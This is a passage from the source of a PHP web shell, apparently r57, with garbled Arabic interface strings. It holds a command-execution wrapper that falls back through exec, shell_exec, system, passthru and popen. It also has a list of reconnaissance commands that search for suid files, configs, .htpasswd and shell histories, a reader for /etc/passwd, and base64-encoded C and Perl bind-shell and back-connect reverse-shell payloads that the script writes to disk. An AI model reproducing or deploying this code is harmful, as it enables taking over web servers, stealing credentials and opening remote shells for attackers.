  2170. 'ar_text101'=>'ÇÓEÎIa ÇáÇÓÇaí aÚßaÓa áEÎaíäaÇ',
  2171. 'ar_text102'=>'ÎIaÇE ÇáENíI',
  2172. 'ar_text103'=>'ÇNÓÇá ENíI',
  2173. 'ar_text104'=>'ÇNÓÇá aáÝ Çái ÇáÇíaíá',
  2174. 'ar_text105'=>'Aái',
  2175. 'ar_text106'=>'aÜä',
  2176. 'ar_text107'=>'ÇáaaÖaÚ',
  2177. 'ar_butt15'=>'ANÓÇá',
  2178. 'ar_text108'=>'ÇáNÓÇáÉ',
  2179. 'ar_text109'=>'aÎÝí',
  2180. 'ar_text110'=>'ÚNÖ',
  2181. 'ar_text111'=>'ÓíNÝN ?aÇÚI ÇáEíÇäÇE : ÇáaäÝ?',
  2182. 'ar_text112'=>'?NÇAÉ ÇáaáÝÇE Úä ONí? ËUNÉ IÇáa mb_send_mail',
  2183. 'ar_text113'=>'?NÇAÉ aÍEai ÇáaIáIÇE Úä ONí? via imap_list',
  2184. 'ar_text114'=>'?NÇAÉ ÇáaáÝÇE Úä ONí? ËUNÉ via imap_body',
  2185. 'ar_text115'=>'?NÇAÉ ÇáaáÝÇE Úä ONí? compress.zlib://',
  2186. 'ar_text116'=>'äÓÎ aä',
  2187. 'ar_text117'=>'Çái',
  2188. 'ar_text118'=>'Ea äÓÎ ÇáaáÝ',
  2189. 'ar_text119'=>'áÇíÓEOíÚ ÇáäÓÎ',
  2190. 'ar_err0'=>'ÎOÇÁ ! áÇíaßä ÇáßEÇEÉ Úái a?Ç ÇáaáÝ ',
  2191. 'ar_err1'=>'ÎOÇÁ ! UíN ?ÇIN Úái ?NÇAa a?Ç ÇáaáÝ ',
  2192. 'ar_err2'=>'ÎOÇÁ! áÇíaßä ÇáÇäÔÇÁ ',
  2193. 'ar_err3'=>'ÎOÇÁ! UíN ?ÇIN Úái ÇáÇEOÇá EÇáÇÝ Eí Eí',
  2194. 'ar_err4'=>'ÎOÇÁ ! áÇEÓEOíÚ ÇáIÎaá Çái ÓíNÝN ÇáÇÝ Eí Eí',
  2195. 'ar_err5'=>'ÎOÇÁ ! áÇEÓEOíÚ EUíN ÇáaIáI Ýí ÇáÇÝ Eí Eí',
  2196. 'ar_err6'=>'ÎOÇÁ ! áÇEÓEOíÚ ÇNÓÇá NÓÇáa',
  2197. 'ar_err7'=>'ÇáENíI ÇNÓá',
  2198. 'ar_text200'=>'copy()?NÇAÉ ÇáaáÝÇE Úä ONí? ËUNÉ',
  2199. 'ar_text202'=>'aÓÇN ÇáaáÝ ÇáaNÇI ?NÇAEa',
  2200. 'ar_text300'=>'curl()?NÇAa ÇáaáÝÇE Úä ONí? ËUNÉ',
  2201. 'ar_text203'=>'ini_restore()?NÇAÉ ÇáaáÝÇE Úä ONí? ËUNÉ',
  2202. 'ar_text204'=>'error_log()ONÇÚa ÇáaáÝÇE Úä ONí? ËUNa',
  2203. 'ar_text205'=>'AONÚ ÇáÔá Úái a?Ç ÇáaÓÇN',
  2204. 'ar_text206'=>'?NÇAa aÍEaíÇE ÇáaIáI',
  2205. 'ar_text207'=>'?NÇAa aÍEaíÇE ÇáaIáIÇE Úä ONí? ËUNa reg_glob',
  2206. 'ar_text208'=>'EäÝí? ÇáÇaÇaN Ýí ÇáaÖÚ ÇáÇaä Úä ONí? ÇáIaÇá',
  2207. 'ar_text209'=>'?NÇAa aÍEaíÇE ÇáaIáIÇE Úä ONí? ËUNa root',
  2208. 'ar_text210'=>'Ýß EÔÝíN ÇáOäI ',
  2209. 'ar_text211'=>'::Ç?ÝÇá ÇáÓíÝ aaI::',
  2210. 'ar_text212'=>'php.ini Ç?ÝÇá ÇáÓíÝ aaI Úä ONí? ONÚ aáÝ',
  2211. 'ar_text213'=>'htacces A?ÝÇá ÇáaaI ÓßíaNEí Úä ONí? ONÚ aáÝ',
  2212. 'ar_text214'=>'AÓa ÇáÇIaä',
  2213. 'ar_text215'=>'ÚäaÇä ÇáÓíNÝN IRC ',
  2214. 'ar_text216'=>'# AÓa ÇáUNÝa aÚ',
  2215. 'ar_text217'=>'ÇÓa ÇáÓíNÝN ÇáaÎEN?',
  2216. 'ar_text218'=>'áAí?ÇÝ ÇáÓíÝ aaI ini_restore ONÚ aáÝ íÍEaí Úái ËUNa',
  2217. 'ar_text219'=>'ÓÍE aáÝÇE Çái ÇáÓíNÝN aEUíN ÇÓaaÇ EÇáaÖÚ ÇáÇaä',
  2218. 'ar_text220'=>'ÇÓEÚNÇÖ ÇáaáÝÇE Úä ONí? ËUNa symlink ÇáÎOaa ÇáÇaái',
  2219. 'ar_text221'=>'ÖUO ÇáaáÝÇE áEÍaíáaÇ aä Çáaa?Ú(EÚI EÍaíáaÇ áIaÇOß UíN ÇaEIÇI ÇáaáÝ áÇaEIÇIa ÇáÓÇE?)1',
  2220. 'ar_text222'=>'ÇÓEÚNÇÖ ÇáaáÝÇE Úä ONí? ËUNa symlink ÇáÎOaa ÇáËÇäía',
  2221. 'ar_text223'=>'?NÇAa ÇáaáÝÇE Úä ONí? ÇáIaÇá',
  2222. 'ar_text224'=>'PLUGIN ?NÇAa ÇáaáÝÇE Úä ONí? ËUNa ',
  2223. );
  2224. /*
  2225. ?????? ??????
  2226. ????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
  2227. ?? ?????? ???? ????????? ??? ???????? ???????.
  2228. */
  2229. $aliases=array(
  2230. 'ÇáEÍË Úä aáÝÇE suid'=>'find / -type f -perm -04000 -ls',
  2231. 'ÇáEÍË Úä aáÝÇE suid Ýí ÇáaIáI ÇáÍÇáí'=>'find . -type f -perm -04000 -ls',
  2232. 'ÇáEÍË Úä aáÝÇE suid'=>'find / -type f -perm -02000 -ls',
  2233. 'ÇáEÍË Úä aáÝÇE suid Ýí ÇáaIáI ÇáÍÇáí'=>'find . -type f -perm -02000 -ls',
  2234. 'ÇáEÍË Úä aáÝÇE config.inc.php'=>'find / -type f -name config.inc.php',
  2235. 'ÇáEÍË Úä aáÝÇE config.inc.php Ýí ÇáaIáI ÇáÍÇáí'=>'find . -type f -name config.inc.php',
  2236. 'ÇáEÍË Úä aáÝÇE config* EIaíÚ ÇáÇaEIÇIÇE'=>'find / -type f -name "config*"',
  2237. 'ÇáEÍË Úä aáÝÇE config* Ýí ÇáaIáI ÇáÍÇáí'=>'find . -type f -name "config*"',
  2238. 'ÇáEÍË Úä ÇáaáÝÇE Çá?ÇEáÉ ááßEÇEÉ'=>'find / -type f -perm -2 -ls',
  2239. 'ÇáEÍË Úä ÇáaáÝÇE Çá?ÇEáÉ ááßEÇEÉ Ýí ÇáaIáI ÇáÍÇáí'=>'find . -type f -perm -2 -ls',
  2240. 'ÇáEÍË Úä ÇáaIáIÇE Çá?ÇEáÉ ááßEÇEÉ'=>'find /  -type d -perm -2 -ls',
  2241. 'ÇáEÍË Úä ÇáaIáIÇE Çá?ÇEáÉ ááßEÇEÉ Ýí ÇáaÓÇN ÇáÍÇáí'=>'find . -type d -perm -2 -ls',
  2242. 'ÇáEÍË Úä aáÝÇE aaIáIÇE ?ÇEáÉ ááßEÇEÉ'=>'find / -perm -2 -ls',
  2243. 'ÇáEÍË Úä aáÝÇE aaIáIÇE Ýí ÇáaÓÇN ÇáÍÇáí'=>'find . -perm -2 -ls',
  2244. 'ÇáEÍË Úä aáÝÇE service.pwd'=>'find / -type f -name service.pwd',
  2245. 'ÇáEÍË Úä aáÝÇE service.pwd Ýí ÇáaÓÇN ÇáÍÇáí'=>'find . -type f -name service.pwd',
  2246. 'ÇáEÍË Úä ßá aáÝÇE ÇáIINÇä ÇáäÇNíÉ .htpasswd'=>'find / -type f -name .htpasswd',
  2247. 'ÇáEÍË Úä IaíÚ aáÝÇE ÇáIINÇä ÇáäÇNíÉ Ýí ÇáaÓÇN ÇáÍÇáí'=>'find . -type f -name .htpasswd',
  2248. 'ÇáEÍË Úä IaíÚ aáÝÇE .bash_history'=>'find / -type f -name .bash_history',
  2249. 'ÇáEÍË Úä IaíÚ aáÝÇE .bash_history Ýí ÇáaÓÇN ÇáÍÇáí'=>'find . -type f -name .bash_history',
  2250. 'ÇáEÍË Úä IaíÚ aáÝÇE .mysql_history'=>'find / -type f -name .mysql_history',
  2251. 'ÇáEÍË Úä IaíÚ aáÝÇE .mysql_history Ýí ÇáaÓÇN ÇáÍÇáí'=>'find . -type f -name .mysql_history',
  2252. 'ÇáEÍË Úä IaíÚ aáÝÇE .fetchmailrc'=>'find / -type f -name .fetchmailrc',
  2253. 'ÇáEÍË Úä IaíÚ aáÝÇE .fetchmailrc Ýí ÇáaÓÇN ÇáÍÇáí'=>'find . -type f -name .fetchmailrc',
  2254. 'ÇÎN aáÝÇE aÔUáa Ýí ÇáäUÇa'=>'lsattr -va',
  2255. 'NÄíÉ ÇáEaNEÇE ÇáaÝEaÍÉ Ýí ÇáÓíNÝN'=>'netstat -an | grep -i listen',
  2256. 'NÄíÉ ÍÇáÉ ÇáaIáIÇE aÇaßÇäíÉ ÇáEäÝí?'=>'cat /etc/fstab',
  2257. 'aÔÇaIÉ aáÝ Çááa? áIÎaá ÇáÓí EÇäá aÇáaaÇ?Ú Úái ÇáÓíNÝN'=>'cat /var/cpanel/accounting.log',
  2258. 'EÝÇOíá ÇáÚaáíÇE ÇáEí EÚaá ÇáÇä EÇáäÖÇa'=>'ps aux',
  2259. 'ÇáaÓEÎIaíä ÇáaEOáíä ÍÇáíÇ'=>'w',
  2260. 'ÇÎN aÓEÎIaíä ÇEOáa'=>'lastlog',
  2261. 'ÝÍO ÇIaÇE ÇáÓÍE wget curl ..etc'=>'which wget curl w3m lynx',
  2262. 'ÝÍO ÇIÇÉ ÇáENIaa gcc'=>'locate gcc',
  2263.  
  2264.  
  2265.  
  2266. '----------------------------------------------------------------------------------------------------'=>'ls -la'
  2267. );
  2268. $table_up1  = "<tr><td bgcolor=#272727><font face=tahoma size=-2><b><div align=center>:: ";
  2269. $table_up2  = " ::</div></b></font></td></tr><tr><td>";
  2270. $table_up3  = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#333333>";
  2271. $table_end1 = "</td></tr>";
  2272. $arrow = " <font face=Webdings color=gray>4</font>";
  2273. $lb = "<font color=black>[</font>";
  2274. $rb = "<font color=black>]</font>";
  2275. $font = "<font face=tahoma size=-2>";
  2276. $ts = "<table class=table1 width=100% align=center>";
  2277. $te = "</table>";
  2278. $fs = "<form name=form method=POST>";
  2279. $fe = "</form>";
  2280.  
  2281. if(isset($_GET['users']))
  2282.  {
  2283.  if(!$users=get_users()) { echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
  2284.  else
  2285.   {
  2286.   echo '<center>';
  2287.   foreach($users as $user) { echo $user."<br>"; }
  2288.   echo '</center>';
  2289.   }
  2290.  echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  2291.  }
  2292.  
  2293. if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
  2294. $dir = @getcwd();
  2295. $unix = 0;
  2296. if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
  2297. if(empty($dir))
  2298.  {
  2299.  $os = getenv('OS');
  2300.  if(empty($os)){ $os = php_uname(); }
  2301.  if(empty($os)){ $os ="-"; $unix=1; }
  2302.  else
  2303.     {
  2304.     if(@eregi("^win",$os)) { $unix = 0; }
  2305.     else { $unix = 1; }
  2306.     }
  2307.  }
  2308. if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  2309.   {
  2310.     echo $head;
  2311.     if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
  2312.     else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
  2313.     $sr->SearchText(0,0);
  2314.     $res = $sr->GetResultFiles();
  2315.     $found = $sr->GetMatchesCount();
  2316.     $titles = $sr->GetTitles();
  2317.     $r = "";
  2318.     if($found > 0)
  2319.     {
  2320.       $r .= "<TABLE width=100%>";
  2321.       foreach($res as $file=>$v)
  2322.       {
  2323.         $r .= "<TR>";
  2324.         $r .= "<TD colspan=2><font face=tahoma size=-2><b>".ws(3);
  2325.         $r .= (!$unix)? str_replace("/","\\",$file) : $file;
  2326.         $r .= "</b></font></ TD>";
  2327.         $r .= "</TR>";
  2328.         foreach($v as $a=>$b)
  2329.         {
  2330.           $r .= "<TR>";
  2331.           $r .= "<TD align=center><B><font face=tahoma size=-2>".$a."</font></B></TD>";
  2332.           $r .= "<TD><font face=tahoma size=-2>".ws(2).$b."</font></TD>";
  2333.           $r .= "</TR>\n";
  2334.         }
  2335.       }
  2336.       $r .= "</TABLE>";
  2337.     echo $r;
  2338.     }
  2339.     else
  2340.     {
  2341.       echo "<P align=center><B><font face=tahoma size=-2>".$lang[$language.'_text56']."</B></font></P>";
  2342.     }
  2343.   echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  2344.   die();
  2345.   }
  2346. if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
  2347. $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
  2348. if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
  2349. function ws($i)
  2350. {
  2351. return @str_repeat("&nbsp;",$i);
  2352. }
  2353. function ex($cfe)
  2354. {
  2355.  $res = '';
  2356.  if (!empty($cfe))
  2357.  {
  2358.   if(function_exists('exec'))
  2359.    {
  2360.     @exec($cfe,$res);
  2361.     $res = join("\n",$res);
  2362.    }
  2363.   elseif(function_exists('shell_exec'))
  2364.    {
  2365.     $res = @shell_exec($cfe);
  2366.    }
  2367.   elseif(function_exists('system'))
  2368.    {
  2369.     @ob_start();
  2370.     @system($cfe);
  2371.     $res = @ob_get_contents();
  2372.     @ob_end_clean();
  2373.    }
  2374.   elseif(function_exists('passthru'))
  2375.    {
  2376.     @ob_start();
  2377.     @passthru($cfe);
  2378.     $res = @ob_get_contents();
  2379.     @ob_end_clean();
  2380.    }
  2381.   elseif(@is_resource($f = @popen($cfe,"r")))
  2382.   {
  2383.    $res = "";
  2384.    while(!@feof($f)) { $res .= @fread($f,1024); }
  2385.    @pclose($f);
  2386.   }
  2387.  }
  2388.  return $res;
  2389. }
  2390. function get_users()
  2391. {
  2392.   $users = array();
  2393.   $rows=file('/etc/passwd');
  2394.   if(!$rows) return 0;
  2395.   foreach ($rows as $string)
  2396.    {
  2397.            $user = @explode(":",$string);
  2398.            if(substr($string,0,1)!='#') array_push($users,$user[0]);
  2399.    }
  2400.   return $users;
  2401. }
  2402. function err($n,$txt='')
  2403. {
  2404. echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>';
  2405. echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
  2406. if(!empty($txt)) { echo " $txt"; }
  2407. echo '</b></div></font></td></tr></table>';
  2408. return null;
  2409. }
  2410. function perms($mode)
  2411. {
  2412. if (!$GLOBALS['unix']) return 0;
  2413. if( $mode & 0x1000 ) { $type='p'; }
  2414. else if( $mode & 0x2000 ) { $type='c'; }
  2415. else if( $mode & 0x4000 ) { $type='d'; }
  2416. else if( $mode & 0x6000 ) { $type='b'; }
  2417. else if( $mode & 0x8000 ) { $type='-'; }
  2418. else if( $mode & 0xA000 ) { $type='l'; }
  2419. else if( $mode & 0xC000 ) { $type='s'; }
  2420. else $type='u';
  2421. $owner["read"] = ($mode & 00400) ? 'r' : '-';
  2422. $owner["write"] = ($mode & 00200) ? 'w' : '-';
  2423. $owner["execute"] = ($mode & 00100) ? 'x' : '-';
  2424. $group["read"] = ($mode & 00040) ? 'r' : '-';
  2425. $group["write"] = ($mode & 00020) ? 'w' : '-';
  2426. $group["execute"] = ($mode & 00010) ? 'x' : '-';
  2427. $world["read"] = ($mode & 00004) ? 'r' : '-';
  2428. $world["write"] = ($mode & 00002) ? 'w' : '-';
  2429. $world["execute"] = ($mode & 00001) ? 'x' : '-';
  2430. if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
  2431. if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
  2432. if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
  2433. $s=sprintf("%1s", $type);
  2434. $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
  2435. $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
  2436. $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
  2437. return trim($s);
  2438. }
  2439. function in($type,$name,$size,$value,$checked=0)
  2440. {
  2441.  $ret = "<input type=".$type." name=".$name." ";
  2442.  if($size != 0) { $ret .= "size=".$size." "; }
  2443.  $ret .= "value=\"".$value."\"";
  2444.  if($checked) $ret .= " checked";
  2445.  return $ret.">";
  2446. }
  2447. function which($pr)
  2448. {
  2449. $path = ex("which $pr");
  2450. if(!empty($path)) { return $path; } else { return $pr; }
  2451. }
  2452. function cf($fname,$text)
  2453. {
  2454.  $w_file=@fopen($fname,"w") or err(0);
  2455.  if($w_file)
  2456.  {
  2457.  @fputs($w_file,@base64_decode($text));
  2458.  @fclose($w_file);
  2459.  }
  2460. }
  2461. function sr($l,$t1,$t2)
  2462.  {
  2463.  return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
  2464.  }
  2465. if (!@function_exists("view_size"))
  2466. {
  2467. function view_size($size)
  2468. {
  2469.  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
  2470.  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
  2471.  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
  2472.  else {$size = $size . " B";}
  2473.  return $size;
  2474. }
  2475. }
  2476.   function DirFilesR($dir,$types='')
  2477.   {
  2478.     $files = Array();
  2479.     if(($handle = @opendir($dir)))
  2480.     {
  2481.       while (false !== ($file = @readdir($handle)))
  2482.       {
  2483.         if ($file != "." && $file != "..")
  2484.         {
  2485.           if(@is_dir($dir."/".$file))
  2486.             $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
  2487.           else
  2488.           {
  2489.             $pos = @strrpos($file,".");
  2490.             $ext = @substr($file,$pos,@strlen($file)-$pos);
  2491.             if($types)
  2492.             {
  2493.               if(@in_array($ext,explode(';',$types)))
  2494.                 $files[] = $dir."/".$file;
  2495.             }
  2496.             else
  2497.               $files[] = $dir."/".$file;
  2498.           }
  2499.         }
  2500.       }
  2501.       @closedir($handle);
  2502.     }
  2503.     return $files;
  2504.   }
  2505.   class SearchResult
  2506.   {
  2507.     var $text;
  2508.     var $FilesToSearch;
  2509.     var $ResultFiles;
  2510.     var $FilesTotal;
  2511.     var $MatchesCount;
  2512.     var $FileMatschesCount;
  2513.     var $TimeStart;
  2514.     var $TimeTotal;
  2515.     var $titles;
  2516.     function SearchResult($dir,$text,$filter='')
  2517.     {
  2518.       $dirs = @explode(";",$dir);
  2519.       $this->FilesToSearch = Array();
  2520.       for($a=0;$a<count($dirs);$a++)
  2521.         $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
  2522.       $this->text = $text;
  2523.       $this->FilesTotal = @count($this->FilesToSearch);
  2524.       $this->TimeStart = getmicrotime();
  2525.       $this->MatchesCount = 0;
  2526.       $this->ResultFiles = Array();
  2527.       $this->FileMatchesCount = Array();
  2528.       $this->titles = Array();
  2529.     }
  2530.     function GetFilesTotal() { return $this->FilesTotal; }
  2531.     function GetTitles() { return $this->titles; }
  2532.     function GetTimeTotal() { return $this->TimeTotal; }
  2533.     function GetMatchesCount() { return $this->MatchesCount; }
  2534.     function GetFileMatchesCount() { return $this->FileMatchesCount; }
  2535.     function GetResultFiles() { return $this->ResultFiles; }
  2536.     function SearchText($phrase=0,$case=0) {
  2537.     $qq = @explode(' ',$this->text);
  2538.     $delim = '|';
  2539.       if($phrase)
  2540.         foreach($qq as $k=>$v)
  2541.           $qq[$k] = '\b'.$v.'\b';
  2542.       $words = '('.@implode($delim,$qq).')';
  2543.       $pattern = "/".$words."/";
  2544.       if(!$case)
  2545.         $pattern .= 'i';
  2546.       foreach($this->FilesToSearch as $k=>$filename)
  2547.       {
  2548.         $this->FileMatchesCount[$filename] = 0;
  2549.         $FileStrings = @file($filename) or @next;
  2550.         for($a=0;$a<@count($FileStrings);$a++)
  2551.         {
  2552.           $count = 0;
  2553.           $CurString = $FileStrings[$a];
  2554.           $CurString = @Trim($CurString);
  2555.           $CurString = @strip_tags($CurString);
  2556.           $aa = '';
  2557.           if(($count = @preg_match_all($pattern,$CurString,$aa)))
  2558.           {
  2559.             $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
  2560.             $this->ResultFiles[$filename][$a+1] = $CurString;
  2561.             $this->MatchesCount += $count;
  2562.             $this->FileMatchesCount[$filename] += $count;
  2563.           }
  2564.         }
  2565.       }
  2566.       $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
  2567.     }
  2568.   }
  2569.   function getmicrotime()
  2570.   {
  2571.     list($usec,$sec) = @explode(" ",@microtime());
  2572.     return ((float)$usec + (float)$sec);
  2573.   }
  2574. $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
  2575. A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
  2576. GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
  2577. b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
  2578. pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
  2579. NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
  2580. ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
  2581. ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
  2582. 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
  2583. 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
  2584. 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
  2585. dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
  2586. lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
  2587. $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
  2588. VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
  2589. JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
  2590. TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
  2591. lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
  2592. Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
  2593. Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
  2594. lIENPTk47DQpleGl0IDA7DQp9DQp9";
  2595. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
  2596. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  2597. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  2598. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  2599. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  2600. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  2601. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  2602. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
  2603. BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
  2604. SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
  2605. KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
  2606. sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
  2607. Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
  2608. QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
  2609. Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  2610. $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
